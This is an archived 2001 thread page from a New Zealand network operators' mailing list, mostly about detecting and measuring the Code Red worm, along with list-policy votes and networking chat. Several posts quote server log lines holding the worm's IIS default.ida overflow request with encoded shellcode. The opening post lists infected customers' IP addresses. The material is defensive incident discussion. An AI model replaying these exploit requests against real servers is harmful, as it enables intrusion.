>203.96.62.53 : 53.62.96.203.IN-ADDR.ARPA domain name pointer >203-96-62-53-tollfree.actrix.co.nz >203.97.85.108 : 108.85.97.203.IN-ADDR.ARPA domain name pointer >a004-m001-u108.chch.clear.net.nz >210.48.102.170 : 170.102.48.210.IN-ADDR.ARPA domain name pointer >ip-210-48-102-170.iconz.net.nz >210.48.103.150 : 150.103.48.210.IN-ADDR.ARPA domain name pointer >ip-210-48-103-150.iconz.net.nz >210.48.103.4 : 4.103.48.210.IN-ADDR.ARPA domain name pointer >ip-210-48-103-4.iconz.net.nz >210.48.81.19 : 19.81.48.210.IN-ADDR.ARPA domain name pointer >p19.pool1.staticadsl.iconz.net.nz >210.54.121.65 : 65.121.54.210.IN-ADDR.ARPA domain name pointer >210-54-121-65.adsl.xtra.co.nz >210.54.199.115 : 115.199.54.210.IN-ADDR.ARPA domain name pointer >210-54-199-115.dialup.xtra.co.nz >210.54.201.186 : 186.201.54.210.IN-ADDR.ARPA domain name pointer >210-54-201-186.dialup.xtra.co.nz >210.54.201.49 : 49.201.54.210.IN-ADDR.ARPA domain name pointer >210-54-201-49.dialup.xtra.co.nz >210.54.217.216 : 216.217.54.210.IN-ADDR.ARPA domain name pointer >ppp-15.satlan.co.nz >210.54.221.186 : 186.221.54.210.IN-ADDR.ARPA domain name pointer >210-54-221-186.ipnets.xtra.co.nz >210.54.221.194 : 194.221.54.210.IN-ADDR.ARPA domain name pointer >210-54-221-194.ipnets.xtra.co.nz >210.54.224.235 : 235.224.54.210.IN-ADDR.ARPA domain name pointer >210-54-224-235.adsl.xtra.co.nz >210.54.229.174 : 174.229.54.210.IN-ADDR.ARPA domain name pointer >210-54-229-174.dialup.xtra.co.nz >210.54.233.174 : 174.233.54.210.IN-ADDR.ARPA domain name pointer >210-54-233-174.adsl.xtra.co.nz >210.54.242.194 : 194.242.54.210.IN-ADDR.ARPA domain name pointer >210-54-242-194.adsl.xtra.co.nz >210.54.247.251 : 251.247.54.210.IN-ADDR.ARPA domain name pointer >smtp.carolineeve.co.nz >210.54.254.97 : 97.254.54.210.IN-ADDR.ARPA domain name pointer >210-54-254-97.adsl.xtra.co.nz >210.54.76.237 : 237.76.54.210.IN-ADDR.ARPA domain name pointer >210-54-76-237.dialup.xtra.co.nz >210.54.77.98 : 98.77.54.210.IN-ADDR.ARPA domain name pointer >210-54-77-98.dialup.xtra.co.nz >210.54.80.49 : 49.80.54.210.IN-ADDR.ARPA domain name pointer >210-54-80-49.adsl.xtra.co.nz >210.54.80.78 : 78.80.54.210.IN-ADDR.ARPA domain name pointer >210-54-80-78.adsl.xtra.co.nz >210.54.8.148 : >210.54.83.179 : 179.83.54.210.IN-ADDR.ARPA domain name pointer >210-54-83-179.adsl.xtra.co.nz >210.54.84.137 : 137.84.54.210.IN-ADDR.ARPA domain name pointer >210-54-84-137.adsl.xtra.co.nz >210.54.84.211 : 211.84.54.210.IN-ADDR.ARPA domain name pointer >210-54-84-211.adsl.xtra.co.nz >210.54.89.14 : 14.89.54.210.IN-ADDR.ARPA domain name pointer >smtp.insteplimited.com >14.89.54.210.IN-ADDR.ARPA domain name pointer smtp.hanmerinstitute.com >210.54.98.43 : 43.98.54.210.IN-ADDR.ARPA domain name pointer >210-54-98-43.dialup.xtra.co.nz >210.54.99.167 : 167.99.54.210.IN-ADDR.ARPA domain name pointer >210-54-99-167.dialup.xtra.co.nz >210.55.103.213 : 213.103.55.210.IN-ADDR.ARPA domain name pointer >port55-103-213.jetstart.win.co.nz >210.55.106.10 : 10.106.55.210.IN-ADDR.ARPA domain name pointer >ip210-55-106-10.ip.maxnet.co.nz >210.55.106.136 : 136.106.55.210.IN-ADDR.ARPA domain name pointer >ip210-55-106-136.ip.maxnet.co.nz >210.55.123.35 : 35.123.55.210.IN-ADDR.ARPA domain name pointer >210-55-123-35.dialup.xtra.co.nz >210.55.146.39 : 39.146.55.210.IN-ADDR.ARPA domain name pointer >210-55-146-39.dialup.xtra.co.nz >210.55.146.83 : 83.146.55.210.IN-ADDR.ARPA domain name pointer >210-55-146-83.dialup.xtra.co.nz >210.55.159.221 : 221.159.55.210.IN-ADDR.ARPA domain name pointer >210-55-159-221.ipnets.xtra.co.nz >210.55.159.222 : 222.159.55.210.IN-ADDR.ARPA domain name pointer >210-55-159-222.ipnets.xtra.co.nz >210.55.178.166 : 166.178.55.210.IN-ADDR.ARPA domain name pointer >210-55-178-166.dialup.xtra.co.nz >210.55.228.173 : 173.228.55.210.IN-ADDR.ARPA domain name pointer >adsl-173.world-net.co.nz >210.55.57.45 : 45.57.55.210.IN-ADDR.ARPA domain name pointer >210-55-57-45.adsl.xtra.co.nz >210.55.9.105 : >210.86.24.203 : 203.24.86.210.IN-ADDR.ARPA domain name pointer >210-86-24-203.adsl.xtra.co.nz >210.86.24.254 : 254.24.86.210.IN-ADDR.ARPA domain name pointer >210-86-24-254.adsl.xtra.co.nz >210.86.25.142 : 142.25.86.210.IN-ADDR.ARPA domain name pointer >210-86-25-142.adsl.xtra.co.nz > >Total customers Code Red infected so far counted at : 79 -- Steve Systems Admin, Asia Online (NZ) --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Code Red errata
by Brodie Davis 09 Aug '01

09 Aug '01

Has any one else noticed a big drop of traffic related to this. my stats for this week have been so far (pretty low.. but as i only have 2 world viewable port 80's) Monday : 37 (ids was playing up so only partial records) Tuesday : 599 Wednesyday : 511 Today (from 8am) : nill I am just wondering is this the norm.. or I am just lucky. (or has AoL started filting this now?) Cheers, Brodie --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

9 10

Vote Result and NZNOG List Changes
by Donald Neal 09 Aug '01

09 Aug '01

NZNOG People, Voting has now closed on the following proposed addition to this list's acceptable use policy: 10. A person repeatedly breaching list etiquette shall receive warnings from the list administrator. A further breach after the second such warning within thirty days shall result in the offender being unsubscribed from the list. Other action may also be taken to block postings to the list by the offender. Any such unsubscription is to be immediately announced to the list. A total of seventy votes were recieved, with all votes cast in favour of the change. This change is therefore now in effect. During the afternoon of Monday, 13 August, I intend to change the nznog list's settings so that postings will be accepted only from addresses subscribed to one of the following lists: nznog - this list nznog-digest - the digest version of this list nznog-postonly - a new list which exists only to allow addresses subscribed to it to post to the nznog list. Messages will not normally be sent to addresses subscibed to nznog-postonly. To subscribe new addresses to one or more of these lists, send email to majordomo(a)list.waikato.ac.nz where each line of the body of the message has the form subscribe <list name> to subscribe the address from which that message is being sent, or subscribe <list name> <address> to subscribe a different address. More than one subscription request may be sent in the same message. Donald Neal List Administrator --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Given the current topic of discussion in here...
by Chris Rigby 09 Aug '01

09 Aug '01

I though this slashdot article might be on interest. http://slashdot.org/articles/01/08/09/1758200.shtml Chris Rigby Senior Systems Engineer IHUG - Into the Internet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

[OT] 802.11 and stuff
by James Tyson 08 Aug '01

08 Aug '01

Hi all Just a couple of quick questions to you folks that know so much about 802.11. Firstly, do I really need a base station? I have my new ibook here and I want to grab the airport card to use with the Cisco Aironet base station at work, but I was thinking is it possible to just throw an orinoco card or something in my Linux box gateway and use that in place of a base station while I am at home? If not, does anyone know of any base stations in the sub $500 range that work reasonably? I am not really that worried about WEP and SSID while I am at home, because I will set my DHCP server up to only assign my card an IP address and use an encrypted tunnel to get to the net. Cheers. James Tyson --- Samizdat New Media Solutions --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

8 9

Looking for DialUp RAS Equipment
by Craig Whitmore 08 Aug '01

08 Aug '01

Has anyone got any Spare RAS Equipment they are willing to sell Such as: Cisco 5200/5300/5800 etc (Or Modem Cards to put in them) USR/3Com TotalControl Equipment (or any Cards for the Chassis such as netserver/Quads etc) Shiva LANRover (Whole thing or Spare Modems etc) Max Ascend 4000/6000/3000/TNT? Anything else that will take R2's and work reasonable. If you have any of the above please let me know with estimated price for Sale. Thanks Craig Whitmore Orcon Internet http://www.orcon.net.nz

2 1

Re: Code Red errata
by Steve Phillips 08 Aug '01

08 Aug '01

At 11:20 9/08/2001, James McGlinn wrote: >Is it possible to filter on part of the shell code payload? At least one >CR variant doesn't request default.ida - rendering it useless (I assume), >but that should let you see those hits, and allow genuine default.ida >requests through... yep, the way the filter works is you can enter any string up to 32 characters in length, I used default.ida as it was easier to type, once i had it working and had tested it I was going to parse it on the shell code string :) -- Steve Systems Admin, Asia Online (NZ) --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: Proposed Change to Acceptable Use Policy
by Donald Neal 08 Aug '01

08 Aug '01

NZNOG People, Voting is now under way on the following proposed addition to the list''s acceptable use policy. 10. A person repeatedly breaching list etiquette shall receive warnings from the list administrator. A further breach after the second such warning within thirty days shall result in the offender being unsubscribed from the list. Other action may also be taken to block postings to the list by the offender. Any such unsubscription is to be immediately announced to the list. Votes on this change to me (not the list!) by midday tomorrow, Friday 10 August, please. I have so far received fifty-eight votes, and have acknowledged all of them. If you have not received email saying your vote has been recorded, it is not likely that it has been recorded. My access to email between now and some time tomorrow morning may be little variable, as I am engaged in moving offices. This is therefore likely to be the last reminder of the vote. If the change is approved, I intend to make the changes necessary to restrict posting to pre-submitted addresses only on Monday, 13 August. Donald Neal List Administrator --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: Proposed Change to Acceptable Use Policy
by Donald Neal 07 Aug '01

07 Aug '01

NZNOG People, Voting is now under way on the following proposed addition to the list''s acceptable use policy. 10. A person repeatedly breaching list etiquette shall receive warnings from the list administrator. A further breach after the second such warning within thirty days shall result in the offender being unsubscribed from the list. Other action may also be taken to block postings to the list by the offender. Any such unsubscription is to be immediately announced to the list. Votes on this change to me (not the list!) by midday, Friday 10 August, please. I have so far received thirty votes, and have acknowledged all of them. If you have not received email saying your vote has been recorded, it is not likely that it has been recorded. Donald Neal List Administrator -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

spammer
by Michael Coates 07 Aug '01

07 Aug '01

Hello Is there a list in NZ I can get a spammer put onto to block them from sending emails with viruses attached? Thanks

3 2

Code Red Stats
by Craig Whitmore 07 Aug '01

07 Aug '01

I've been running a running couter of hits on 1 machine take logs from 500 IP addresses's (2 C Classes). Its Hits/sec has gone up from yesterday from about 3.4->6.9 and growing fast :-( Total Seconds = 8878 Total Unique Machines Infected = 6380 Total Hits = 51169 Total Hits/Sec = 6.89 Also I have it emailing the owners of the Unique IP addresses (automaticlly) (with an ugly script) and telling that their machines are infected and so far have had many happy people repling thanking me. (But the Number of infected machines still increases :-( ) This is only from 2 C Class Addresses.. I can't imagine how many hits/sec NZ is getting in Total from Overseas.. There have only been a few infected machines from inside NZ (mostly from Xtra and WorldNet Dialups) Thanks Craig Whitmore Orcon Internet http://www.orcon.net.nz

1 0

TCP Header Definition help request "Window"
by Mike Sutton [ awacs ] 07 Aug '01

07 Aug '01

TCP Header Could an expert tell me "how" the "window" value is generated and "what" explicitly it means... Appreciate your help as my reference books don't help and I have not been able to locate a precise definition on the Net. Michael Sutton --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 7

root.exe
by Dylan Reeve 07 Aug '01

07 Aug '01

Any ISPs had a look through their proxy logs for "root.exe" or "cmd.exe" so far? I bet there will be a few... Going to go after people for 'hacking'? -- Dylan Reeve - dylan(a)wibble.net "Um, yeah." --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Code Red: NZ vs Canada
by Dan Langille 07 Aug '01

07 Aug '01

I can give you two lots of stats, one from a NZ server, the other from a Canada server: http://www.langille.org/stats-red-worm/ - in Wellington http://www.freebsddiary.org/stats-red-worm/ - in Ottawa Both are updated every 30 minutes, 15 minutes after and after the hour. -- Dan Langille pgpkey - finger dan(a)unixathome.org | http://unixathome.org/finger.php --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 5

Whazzup w/ Ihug?
by Juha Saarinen 06 Aug '01

06 Aug '01

http://www.internettrafficreport.com/cgi-bin/tr_chartpage.pl?203.98.56.1 70 -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 5

Re: Code Red Weirdness
by Mark Foster 06 Aug '01

06 Aug '01

[Tue Aug 7 13:56:39 2001] [error] [client 203.199.60.10] Invalid URI in request XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u 8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0 Ive had just one today, in the last half hour. None prior to that Did someone try to write a variant and screw up or maybe one of the infectees got weird? At 13:58 7/08/2001 +1200, you wrote: >[Tue Aug 7 13:57:14 2001] [error] [client 203.228.144.15] Invalid URI in >request >XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a >HTTP/1.0 > >Just started getting these. no default.ida?. > >Has the worm turned, again? > > >Tim J. Shackleton ------------------+ +- Business http://www.netlink.co.nz/ >Networks Admin/Programmer ----------+ +- Personal http://www.netnet.net.nz/ >Netlink LTD -- DDI +64 4 922 8476 --+ +------------- Pager 64 +26 253 4356 >+64 29 650 476 -- Cellular ---------+ +------------------------------------ >---- "Cold silence has a tendency to atrophy any sense of compassion" ----- > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 4

Code Red Stats
by Neil 06 Aug '01

06 Aug '01

Hi All, After about 30 second's of thinking about how to get rrdtool or mrgt to display what Code Red is up to on my server I decided to use webalizer instead. It defiantly gives you a better view on what is going on, have a look at http://203.97.86.130/codered/usage_200108.html . I have put the script in the cron.hourly directory so check back as often as you like. Neil Fincham Integral LTD.

6 8

Re: Code Red - Network Impact?
by Mark Davies 06 Aug '01

06 Aug '01

From: "Barry Raveendran Greene" <bgreene(a)cisco.com> Date: Mon, 6 Aug 2001 05:18:53 -0700 > Is anyone seeing router impact caused by all the bogus queries sent out by > Code Red? Just wondering if there could be some side effects. We had the cpu running at 100% on our border router till we tuned the access-lists to deal with traffic to port 80 early. cheers mark --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 2

Internet issues for discussion at APEC TEL24
by Frank March 06 Aug '01

06 Aug '01

I have previously posted information about APEC TEL24 to this list inviting people to join the NZ delegation. As a reminder: the meeting will take place 19-21 September in Jeju, Korea. It will be preceeded by two days (17,18 September) of workshops on various areas. I will be there for all five days. Details at http://www.apectel24.org/. Please feel free to pass the contents of this email on to anyone you think may be interested. One workshop area is 'Internet issues'. The first draft of the programme is as follows. I invite anyone to send to me **(off-line)** comments about any of the matters mentioned. Note that this was the first forum to raise the issue of international Internet charging (and that matter is still hanging around). There is an invitation to comment on agenda matters and I will probably take that up in 10 days or so. >From the organisers..... "The Workshop will consist of two parts. The FIRST part will consist of three presentations (20 minutes each) about the following topics: 1.- Presentation about the Current State of the Debate on Internet Issues. 2.- Presentation about the development of traffic flows within and between Latin American countries and other regions. 3.- Presentation about the situation of small ISP's in the Asia-Pacific region. The SECOND part will consist of an open-floor moderated discussion between the delegates. We suggest the following topics. Please we will appreciate if you could indicate your first three issues of more interest: 1.- APEC Contribution to promoting Internet access in the Asia-Pacific Region 2.- Traffic Exchange Models (Current and Next Generation) How is Internet traffic exchanged? What financial mechanisms are in place for the exchange of Internet traffic and how are they encouraging Internet development? What are the trends in content location and how do these factors influence Internet traffic patterns and financial arrangements? 3.- Global Capacity Availability and Trading What are the recent developments in large-scale bandwidth provision? What are the recent developments in retail internet service provision? How do global capacity relate to Internet traffic exchange? 4.- Local Internet Interconnection What are the main principles of the new interconnection frameworks? How much progress has been made in developing interconnection frameworks appropriate to the exchange of Internet traffic? 5.- Role for Regulators Is there a role for regulators? What are the policy implications for some of the directions Internet traffic exchange will take with next generation Internet architecture? 6.- Users Needs How do users view current developments in Internet traffic exchange? How does the financial community view the current state of play? User Needs - IP-based services and content providers. 7.- WTO What is the current state of the debate? How negotiating frameworks from different countries compare? What is the treatment of Internet services in the negotiating frameworks? 8.- Internet Connectivity What policy and regulatory reforms are required to stimulate Internet development and address the international digital divide? What regulatory barriers exist to the development of the Internet including infrastructures such as international connectivity, domestic teledensity and Internet exchange points? How can economies maximise the benefits of their Internet development including lower costs for infrastructure service? (development funds) 9.- Costs and Prices What is going to replace the international settlements system in the new environment? How are countries adapting to the changes in settlement rates? 10.- Quality Voice over IP " Frank March Specialist Advisor, IT Policy Group Ministry of Economic Development, PO Box 1473, Wellington, NZ Ph: (+64 4) 474 2908; Fax: (+64 4) 471 2658 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 2

Re: Code Red - Network Impact?
by Mark Davies 06 Aug '01

06 Aug '01

From: Chris Wedgwood <cw(a)f00f.org> Date: Tue, 7 Aug 2001 11:15:46 +1200 > What IOS version? Are you running compiled ACLs? Don't know, no. Its not actually my box I just get to look at it occasionally when they have issues. > That seems to help a > fair bit if your CPU bound due to access-list activity. I just looked up the docs on compiled access-lists and the reference I found implied that they were only available on 7200's and bigger boxes. > Also, you can > try "show access-list blah" and reorder the most frequent terms to > nearer the top. I've cleaned the lists up several times in the past (as well as they could be) but they keep adding more ugliness to them. cheers mark --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Code Red - Network Impact?
by Barry Raveendran Greene 06 Aug '01

06 Aug '01

Hi Folks, Is anyone seeing router impact caused by all the bogus queries sent out by Code Red? Just wondering if there could be some side effects. Barry --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 5

Re: Code Red - Network Impact?
by Mark Davies 06 Aug '01

06 Aug '01

From: Chris Wedgwood <cw(a)f00f.org> Date: Tue, 7 Aug 2001 10:46:27 +1200 > On Tue, Aug 07, 2001 at 10:36:51AM +1200, Mark Davies wrote: > We had the cpu running at 100% on our border router till we tuned > the access-lists to deal with traffic to port 80 early. > Ouch... what kind of router? Where was all the CPU being spent? A cisco 2600 with a rather ugly set of access-lists having to deal with the probes for an entire Class B net. I was somewhat surprised that it couldn't deal with it as it was only about 100 probes a second (this was last Friday). Tweaking the access-lists got the load down to about 40-50%. cheers mark --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: Code Red V3!?
by Lindsay Druett 06 Aug '01

06 Aug '01

You must be a Bob Jones Fan.... "Location, location, location...." Those poor souls that are topologically near NT servers that have been infected are getting hammered :/ If you're getting hammered, you live in a bad neighbourhood, time to cleanup or move :) --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: NZIX is gone!
by Rob Edkins 06 Aug '01

06 Aug '01

Arron wrote: > Them were the glory days ... New Zealand's routing table in IGRP (no not EIGRP), 24 routers connected via Coax and a 1.5Mbps Frame Relay link to the US.< ...and you tell the kids today that, and they doooooon't believe yer! ;-) Rob __________________________________________________ Do You Yahoo!? Make international calls for as low as $.04/minute with Yahoo! Messenger http://phonecard.yahoo.com/ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

NZIX is gone !!!
by Lindsay Druett 05 Aug '01

05 Aug '01

Hi, As of 10:45am this morning the last router (HNCR1) was turned off, and by 11:45am NZIX (as far as University of Waikato is concerned) has been fully dismantled. As most providers most providers have stopped peering with NZIX late last year, I thought it would be worth making note that as of this morning, NZIX is now part of New Zealand internet's history books, and is no longer in existence. Kind Regards, Lindsay. Lindsay Druett, CCNA, CCDA, NZTC (Elect.) Network Engineer, Network and Development, Information and Technology Services, University of Waikato, Hamilton, New Zealand. lindsayd(a)waikato.ac.nz Phone 64-7-838 4999 Fax 64-7-838 4416 Mobile 025-276 0700 <<Lindsay Druett.vcf>>

3 2

Wellington 2
by Dean Pemberton 05 Aug '01

05 Aug '01

Well wellington wasn't so dead afterall. Turns out that all we needed as a 1.5 metre tall whip antenna bolted to the top of Simon Blakes car. Yes we have photos I'll get them developed when I get back to Oz. Dean --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

9 20

smtp.xtra.co.nz --- sick?
by Chris Wedgwood 05 Aug '01

05 Aug '01

I'm seeing funnies to smtp.xtra.co.nz --- basically some connections when sending email are terribly slow, while others work perfectly well. Does anyone know if this address is a load-balancer or something? If that's the case then it might be a host behind it is a bit sick or something... I'm seeing 10 second delays or more between having received a TCP ACK and getting an SMTP ACK back. The helpdesk didn't seem too interested, I didn't even ask if they wanted to see my packet dumps[1] :) --cw [1] Another outstanding pickup line. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Code Red V3!?
by Mark Foster 05 Aug '01

05 Aug '01

http://www.idg.net.nz/webhome.nsf/UNID/3B65B7D06B08DB2DCC256AA00001AF76!ope… -.-. --.- Mark Foster - markf(a)intermech.co.nz IT Manager, Intermech Ltd +64-21-499-368 / +64-9-525-2220 http://www.intermech.co.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: NZIX is gone !!!
by Lindsay Druett 05 Aug '01

05 Aug '01

John Houlker will be touched... Everybody should turn off all their routers for a minute, as a mark of resepect. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Different Code Red?
by Juha Saarinen 05 Aug '01

05 Aug '01

I'm getting lots of hits on my home box, unfortunately. 142 since August 1 is the latest count. :-( Noticed that the GET requests look different now: 203.231.234.229 - - [05/Aug/2001:11:46:35 +1200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9 090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0 078%u0000%u00=a HTTP/1.0" 404 283 "-" "-" Whereas earlier on, they looked like this: 65.192.84.7 - - [05/Aug/2001:06:51:26 +1200] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNN%u9090%u68 58%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u90 90%u8190%u00c3%u0003%u8b00% u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 330 "-" "-" -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

15 27

idg.net.nz --- IMHO privacy implications of archives are debatable (Paul Brislen)
by Chris Wedgwood 05 Aug '01

05 Aug '01

In light of recent comments WRT a certain IDG article I find: http://www.idg.net.nz/webhome.nsf/UNID/EA33E2992D04A5C0CC256A9E0010FACC!ope… Ah, internet. Bane and boon of my life. What would I do without you, dear old friend? Well, for a start, I wouldn't be following a language tutor's advice quite so often. He told me there are two steps to learning a foreign language. Step one: open mouth. Step two: insert foot. [...] Most entertaining of all, however, is that when I rewrote the story for Computerworld it changed the story as it appears on the web. The old version ("Newsgroups could be breaching privacy act") was effectively replaced with a new one ("Privacy issue over mailing list archives") in a single Orwellian moment. Ironic, really, when you consider the story in the first place was triggered by a question about whether an archive could or should be changed to remove old postings. Pretty reasonable comments this time, certainly worth reading. --cw --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Globe.NET (www.globe.net.nz) Mail Server full
by Craig Whitmore 04 Aug '01

04 Aug '01

If anyone has any contacts for Globe.NET (www.globe.net.nz) (I've tried their 0508 number and no answer) can you please contact them and tell them that their mail server has no space left on its Disk. Thanks Craig Whitmore Orcon Internet http://www.orcon.net.nz

1 0

CodeRed Worm Stats
by Brian Gibbons 04 Aug '01

04 Aug '01

>From: Craig Whitmore >I just did some graphs of the codered worms attacking over today.. and have a look at >http://www.nzdsl.co.nz/codered >Anyone got any similar stats?? Similar stats from one of our boxes that does nothing all day except ignore ARP broadcasts on it's LAN segment. http://www.outersite.co.nz/codered.html This is probably ho hum for many, however I pity those that pay per MB. At NZ retail rates a box infected with CodeRed could easily burn bandwidth at $300 per hour, fairly scary to come back Monday to find your box has burnt $15,000 over the weekend. BG --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Increase in Code Red activity?
by Brian Gibbons 04 Aug '01

04 Aug '01

We have noticed a large increase (10 fold) in CodeRed activity since bang on midnight last night. The probe rate seems to have now leveled off at one probe per IP address every three minutes. This activity was actually noticed from monitoring of broadcast traffic on an ethernet LAN (TCP SYN to Black hole LAN IP address). If WorldNet are listening, these two systems are hitting us regularly 210.55.74.165 210.55.76.51 Cheers BG. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

CodeRed Worm Stats
by Craig Whitmore 04 Aug '01

04 Aug '01

I just did some graphs of the codered worms attacking over today.. and have a look at http://www.nzdsl.co.nz/codered The last batch of attacks started about 11pm last night.. This is from 2 completely different networks in NZ and the results where about the Same The 1st graph is 1 Machine only and the 2nd Graph is a C Class. Pretty Scary.. Anyone got any similar stats?? The worse offenders are a couple of machines @ worldnet so far. Thanks Craig Whitmore Orcon Internet http://www.nzdsl.co.nz

1 0

FW: Alert: New version of Code Red, XXXX
by Chris Woodrow 04 Aug '01

04 Aug '01

Cross posted from the NTBugtraq list -----Original Message----- From: Russ [mailto:Russ.Cooper(a)RC.ON.CA] Sent: Sunday, 5 August 2001 3:48 p.m. To: NTBUGTRAQ(a)LISTSERV.NTBUGTRAQ.COM Subject: Alert: New version of Code Red, XXXX -----BEGIN PGP SIGNED MESSAGE----- Just a quick FYI, there is a new version of Code Red which appears to be spreading rather rapidly. - - Appears to be a new re-write. - - Drops some sort of remote access trojan. - - Turns off System File Checker (Windows File Protection.) - - Moves CMD.EXE to the scripts directory in IIS - - Looks like the way they make the entry into code very differently than before. - - If your IDS is looking for "NNNN", forget it (but then you should have been shot if you used this string anyway) Cheers, Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor p.s. if we don't respond right away its because we're now going to go and light the fireworks here at my retreat. Might as well have lots of fireworks tonight! -----BEGIN PGP SIGNATURE----- Version: PGP Personal Privacy 6.5.2 iQCVAwUBO2zCARBh2Kw/l7p5AQH95wQAqjGp7vRYK8SYky/ydyU1wxBmCe2c8Mpd DBdxrv+TY9112ZuH663ZspUOXThS9oeEyT4sdbVYNv8Z28nMipbioyTXYa5dw8po 21tkilo6ZoGX+AmKJ6Kz7WDvMpHpEfzDr3JHGtxuev0/rclXeRSN4urypMR3YnRz uw5ZW/F3U/I= =OhCV -----END PGP SIGNATURE----- ---------------------------------------------------------------------------- Delivery co-sponsored by Trend Micro ============================================================================ TREND MICRO REAL-TIME VIRUS ALERTS If you would like to know about a virus outbreak before CNN and ZDNet get Trend Micro Virus Info Feed FREE. Simply copy and paste a small piece of code to give your visitors a real-time top 10 list and the latest virus advisories. Setup takes just 10 minutes and requires no server-side code on your Web site. All content is updated automatically from Trend Micro's Web site. http://www.antivirus.com/banners/tracking.asp?si=8&bi=237&ul=/syndication/ vinfo/ ---------------------------------------------------------------------------- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message 